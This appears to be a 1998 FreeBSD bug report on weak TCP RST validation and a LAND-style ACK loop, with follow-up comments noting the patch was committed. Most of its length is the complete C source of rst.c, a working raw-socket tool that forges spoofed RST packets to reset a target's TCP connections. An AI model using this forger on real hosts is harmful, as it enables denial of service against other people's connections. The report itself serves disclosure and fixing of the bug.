A TCP bugfix from TCP/IP Illustrated Volume 2 page 960 broke RST validation. It allows RST packets with sequence numbers covering half the sequence space to be processed, whereas according to RFC 793, only those with sequence numbers in the the receive window should be processed. It is also theoretically possible to commit a "LAND"-style denial of service attack by sending forged SYN packets to two listening sockets that appear to have come from each other. This causes the two sockets to blast each other with ACKs. Fix: The following patch tightens up the RST validation. It also breaks the loop in the general form of the "LAND" attack which would cause the sockets to keep sending ACKs to each other, and it sends a RST to clean things up in the case where we know something is amiss. How-To-Repeat: The RST problem can be triggered by following code which was was posted to BUGTRAQ by Tristan Horn <tristan+-eyixqg@ETHEREAL.NET>. I added the for loop to vary the sequence number over a sufficient range to reliably trigger the bug. /* rst.c -- based on: land.c by m3lt, FLC crashes a win95 box Ported by blast and jerm to 44BSD*/ #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <netdb.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <netinet/ip_icmp.h> #include <ctype.h> #include <arpa/inet.h> #include <unistd.h> #include <string.h> #include <errno.h> /* #include <netinet/ip_tcp.h> */ /* #include <netinet/protocols.h> */ struct pseudohdr { struct in_addr saddr; struct in_addr daddr; u_char zero; u_char protocol; u_short length; struct tcphdr tcpheader; }; u_short checksum(u_short * data,u_short length) { register long value; u_short i; for(i=0;i<(length>>1);i++) value+=data[i]; if((length&1)==1) value+=(data[i]<<8); value=(value&65535)+(value>>16); return(~value); } int main(int argc,char * * argv) { struct sockaddr_in src, dst; struct hostent * hoste; int sock,foo, i; char buffer[40]; struct ip * ipheader=(struct ip *) buffer; struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip)); struct pseudohdr pseudoheader; fprintf(stderr,"rst.c (based on BSD port of land by m3lt & blast of FLC)\n"); if(argc<5) { fprintf(stderr,"usage: %s srcaddr srcport dstaddr dstport\n",argv[0]); return(-1); } bzero(&src,sizeof(struct sockaddr_in)); bzero(&dst,sizeof(struct sockaddr_in)); src.sin_family=AF_INET; dst.sin_family=AF_INET; if((hoste=gethostbyname(argv[1]))!=NULL) bcopy(hoste->h_addr,&src.sin_addr,hoste->h_length); else if((src.sin_addr.s_addr=inet_addr(argv[1]))==-1) { fprintf(stderr,"unknown host %s\n",argv[1]); return(-1); } if((src.sin_port=htons(atoi(argv[2])))==0) { fprintf(stderr,"unknown port %s\n",argv[2]); return(-1); } if((hoste=gethostbyname(argv[3]))!=NULL) bcopy(hoste->h_addr,&dst.sin_addr,hoste->h_length); else if((dst.sin_addr.s_addr=inet_addr(argv[3]))==-1) { fprintf(stderr,"unknown host %s\n",argv[3]); return(-1); } if((dst.sin_port=htons(atoi(argv[4])))==0) { fprintf(stderr,"unknown port %s\n",argv[4]); return(-1); } if((sock=socket(AF_INET,SOCK_RAW,255))==-1) { fprintf(stderr,"couldn't allocate raw socket\n"); return(-1); } foo=1; if(setsockopt(sock,0,IP_HDRINCL,&foo,sizeof(int))==-1) { fprintf(stderr,"couldn't set raw header on socket\n"); return(-1); } for (i = 0; i < 4; i++) { bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr)); ipheader->ip_v=4; ipheader->ip_hl=sizeof(struct ip)/4; ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr); ipheader->ip_id=htons(0xF1C); ipheader->ip_ttl=255; ipheader->ip_p=IPPROTO_TCP; ipheader->ip_src=src.sin_addr; ipheader->ip_dst=dst.sin_addr; tcpheader->th_sport=src.sin_port; tcpheader->th_dport=dst.sin_port; tcpheader->th_seq=htonl(0xF1C + (i * 0x40000000)); tcpheader->th_flags=TH_RST; tcpheader->th_off=sizeof(struct tcphdr)/4; tcpheader->th_win=htons(2048); bzero(&pseudoheader,12+sizeof(struct tcphdr)); pseudoheader.saddr=src.sin_addr; pseudoheader.daddr=dst.sin_addr; pseudoheader.protocol=6; pseudoheader.length=htons(sizeof(struct tcphdr)); bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr)); tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr)); if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &dst,sizeof(struct sockaddr_in))==-1) { fprintf(stderr,"couldn't send packet,%d\n",errno); return(-1); } } fprintf(stderr,"%s:%s -> %s:%s reset\n",argv[1],argv[2],argv[3],argv[4]); close(sock); return(0); }
<<On Fri, 11 Sep 1998 01:13:55 -0700 (PDT), Don Lewis <Don.Lewis@tsc.tdk.com> said: > The following patch tightens up the RST validation. It also breaks the > loop in the general form of the "LAND" attack which would cause the sockets > to keep sending ACKs to each other, and it sends a RST to clean things up > in the case where we know something is amiss. Great job, Don. I'll commit this today if nobody beats me to it. -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, CRS, or NSA| - Susan Aglukark and Chad Irschick
State Changed From-To: open->suspended Awaiting merge into 2.2.
I thought that the LAND attacks were squelched in rev 1.68 . Bill
State Changed From-To: suspended->closed Was fixed by wollman at 1998/09/11 09:04:04 PDT in -current and merged to -stable by guido in rev 1.54.2.11.